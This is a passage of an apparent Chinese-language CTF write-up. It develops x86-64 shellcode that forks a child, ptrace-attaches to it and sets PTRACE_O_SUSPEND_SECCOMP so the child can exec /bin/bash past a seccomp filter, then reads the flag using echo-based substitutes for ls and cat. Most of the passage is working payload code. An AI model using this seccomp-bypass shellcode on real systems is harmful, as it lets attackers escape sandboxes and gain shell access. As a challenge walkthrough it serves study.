实际上对子进程的监测和管理都是放在一个死循环里的,我们得往shellcode代码里面加一个死循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pid = fork()
while(1){
if (!pid)
{//子进程
nanosleep(&[5,1],0)
execve("/bin/sh\x00",0,0);
}else{
//父进程
waitpid(pid,0,0);
ptrace(PTRACE_ATTACH,pid,0,0)
ptrace(PTRACE_O_SUSPEND_SECCOMP,pid,0,0)
ptrace(PTRACE_CONT,pid,0,0)
}
}

对应的shellcode如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
    mov rax, 57
syscall
test rax, rax
mov r15, rax
jz child_process

parent_process:
mov rax, 7
mov rdi, r15
xor rsi, rsi
xor rdx, rdx
syscall

mov rax, 101
mov rdi, 16
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

monitor_child:
mov rax, 101
mov rdi, 0x42000003
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 101
mov rdi, 0x7
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall
jmp monitor_child

child_process:
mov rax,35
push 1
dec byte ptr [rsp]
push 5
mov rdi,rsp
xor rsi,rsi
syscall

mov rax, 59
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi,rsi
xor rdx,rdx
syscall

jmp child_process
mov rax, 60
xor rdi, rdi
syscall

img

虽然是有shell的提示但是输入指令是没有回显的,比如echo *都没有回显

shellcode v.3

再次对比Qanux的exp,发现用的是/bin/bash\x00。

然后发现wait是在PTRACE_ATTACH之后才调用的,调整下顺序,果然出了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode=asm(f"""
mov rax, 57
syscall
test rax,rax
mov r15, rax
cmp rax, 0
je child_process

parent_process:
mov rax, 101
mov rdi, 16
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 61
mov rdi, r15
mov rsi,rsp
xor rdx, rdx
xor r10,r10
syscall

monitor_child:
mov rax, 101
mov rdi, 0x4200
mov rsi, r15
xor rdx, rdx
mov r10, 0x00000080
syscall

mov rax, 101
mov rdi, 0x7
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

jmp monitor_child

child_process:
mov rax,35
push 1
dec byte ptr [rsp]
push 5
mov rdi,rsp
xor rsi,rsi
syscall

mov rax, 59
mov rbx,0x{order2}
push rbx
mov rbx, 0x{order1}
push rbx
mov rdi, rsp
xor rsi,rsi
xor rdx,rdx
syscall

jmp child_process

mov rax, 60
xor rdi, rdi
syscall
""")

对应的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pid = fork()
ptrace(PTRACE_ATTACH,pid,0,0)
waitpid(pid,0,0);
while(1)
{
if (!pid)
{//子进程
ptrace(PTRACE_TRACEME,0,0,0);
execve("/bin/sh\x00",0,0);
}else{
//父进程
ptrace(PTRACE_SETOPTIONS,pid,0,PTRACE_O_SUSPEND_SECCOMP)
ptrace(PTRACE_CONT,pid,0,0)
}
}

img

在Q爷文章中最后提到,给出的shell并没有ls和cat的功能,但是可以用对应代码代替

1
2
3
4
5
6
7
8
# ls
echo *

# cat flag
while IFS = read -r line;
do
echo "$line"
done < flag

最后

img